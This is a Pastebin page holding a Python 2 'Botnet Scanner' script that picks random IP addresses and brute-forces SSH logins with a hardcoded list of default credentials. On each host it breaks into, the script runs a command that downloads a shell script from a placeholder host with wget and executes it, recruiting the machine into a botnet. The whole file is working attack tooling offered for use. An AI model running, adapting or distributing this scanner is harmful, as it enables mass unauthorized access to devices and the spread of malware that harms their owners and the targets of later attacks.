Advertisement
1337ings

[Python] Botnet Scanner

Jul 13th, 2016
2,728
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 6.13 KB | None | 0 0
  1. #!/usr/bin/env python
  2. ""
  3.  
  4. #.----.  .----.  .---. .-. .-..----..---.     .----. .---.   .--.  .-. .-..-. .-..----..----.
  5. #| {}  }/  {}  \{_   _}|  `| || {_ {_   _}   { {__  /  ___} / {} \ |  `| ||  `| || {_  | {}  }
  6. #| {}  }\      /  | |  | |\  || {__  | |     .-._} }\     }/  /\  \| |\  || |\  || {__ | .-. \
  7. #`----'  `----'   `-'  `-' `-'`----' `-'     `----'  `---' `-'  `-'`-' `-'`-' `-'`----'`-' `-'              
  8. #Scanner made by Chris Poole aka 1337ings
  9. #Changing source will not make you the creator
  10.  
  11. ""
  12.  
  13. import threading, paramiko, random, socket, time, sys
  14.  
  15. cmd='cd /tmp; rm -rf *; wget -q http://HOST/gtop.sh; chmod +x gtop.sh; sh gtop.sh; rm -rf *\r\n'
  16. blacklist = [
  17.     '127'
  18. ]
  19. passwords = [
  20.     "root:root",
  21.     "root:admin",
  22.     "admin:admin",
  23.     "ubnt:ubnt"
  24.     "root:12345",
  25.     "admin:money",
  26.     "sex:sex",
  27.     "user:user",
  28.     "root:love",
  29.     "pi:raspberry",
  30.     "linux:linux"
  31. ]
  32.  
  33. if sys.argv[4] == '1':
  34.     passwords = ["root:root", "root:admin", "admin:money"]
  35.  
  36. ipclassinfo = sys.argv[2]
  37. if ipclassinfo == "X":
  38.     ip1 = sys.argv[3]
  39. elif ipclassinfo == "Y":
  40.     ip1 = sys.argv[3].split(".")[0]
  41.     ip2 = sys.argv[3].split(".")[1]
  42. elif ipclassinfo == "Z":
  43.     ips = sys.argv[3].split(".")
  44.     num=0
  45.     for ip in ips:
  46.         num=num+1
  47.         if num == 1:
  48.             ip1 = ip
  49.         elif num == 2:
  50.             ip2 = ip
  51.         elif num == 3:
  52.             ip3 = ip
  53. class sshscanner(threading.Thread):
  54.     global passwords
  55.     global ipclassinfo
  56.     if ipclassinfo == "X":
  57.         global ip1
  58.     elif ipclassinfo == "Y":
  59.         global ip1
  60.         global ip2
  61.     elif ipclassinfo == "Z":
  62.         global ip1
  63.         global ip2
  64.         global ip3
  65.     def run(self):
  66.         while 1:
  67.             try:
  68.                 while 1:
  69.                     thisipisbad='no'
  70.                     if ipclassinfo == "X":
  71.                         self.host = ip1+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  72.                     elif ipclassinfo == "Y":
  73.                         self.host = ip1+'.'+ip2+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  74.                     elif ipclassinfo == "Z":
  75.                         self.host = ip1+'.'+ip2+'.'+ip3+'.'+str(random.randrange(0,256))
  76.                     elif ipclassinfo == "BRAZIL":
  77.                         br = ["179.105","179.152","189.29","189.32","189.33","189.34","189.35","189.39","189.4","189.54","189.55","189.60","189.61","189.62","189.63","189.126"]
  78.                         self.host = random.choice(br)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  79.                     elif ipclassinfo == "SUPER":
  80.                         yeet = ["122","131","161","37","186","187","31","188","201","2","200"]
  81.                         self.host = random.choice(yeet)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  82.                     elif ipclassinfo == "LUCKY":
  83.                         lucky = ["125.24","125.25","125.26","125.27","125.28","113.53","101.51","101.108","118.175","118.173","182.52","180.180"]
  84.                         self.host = random.choice(lucky)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  85.                     elif ipclassinfo == "LUCKY2":
  86.                         lucky2 = [ "122.178","122.170","182.65","182.68","182.70","182.75","186.112","186.113","186.114","186.115","186.116","186.118" ]
  87.                         self.host = random.choice(lucky2)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  88.                     elif ipclassinfo == "RAND":
  89.                         self.host = str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  90.                     elif ipclassinfo == "INTERNET":
  91.                         lol = ["1"]
  92.                         self.host = random.choice(lol)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  93.                     else:
  94.                         self.host = str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  95.                     for badip in blacklist:
  96.                         if badip in self.host:
  97.                             thisipisbad='yes'
  98.                     if thisipisbad=='no':
  99.                         break
  100.                 username='root'
  101.                 password=""
  102.                 port = 22
  103.                 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  104.                 s.settimeout(3)
  105.                 s.connect((self.host, port))
  106.                 s.close()
  107.                 ssh = paramiko.SSHClient()
  108.                 ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  109.                 dobreak=False
  110.                 for passwd in passwords:
  111.                     if ":n/a" in passwd:
  112.                         password=""
  113.                     else:
  114.                         password=passwd.split(":")[1]
  115.                     if "n/a:" in passwd:
  116.                         username=""
  117.                     else:
  118.                         username=passwd.split(":")[0]
  119.                     try:
  120.                         ssh.connect(self.host, port = port, username=username, password=password, timeout=3)
  121.                         dobreak=True
  122.                         break
  123.                     except:
  124.                         pass
  125.                     if True == dobreak:
  126.                         break
  127.                 badserver=True
  128.                 stdin, stdout, stderr = ssh.exec_command("/sbin/ifconfig")
  129.                 output = stdout.read()
  130.                 if "inet addr" in output:
  131.                     badserver=False
  132.                 if badserver == False:
  133.                         print '\x1b[31mROOTING:'+self.host+'|'+username+'|'+password+'|'+str(port)
  134.                         ssh.exec_command(""+cmd+"")
  135.                         time.sleep(20)
  136.                         ssh.close()
  137.             except:
  138.                 pass
  139.  
  140. for x in range(0,int(sys.argv[1])):
  141.     try:
  142.         t = sshscanner()
  143.         t.start()
  144.     except:
  145.         pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement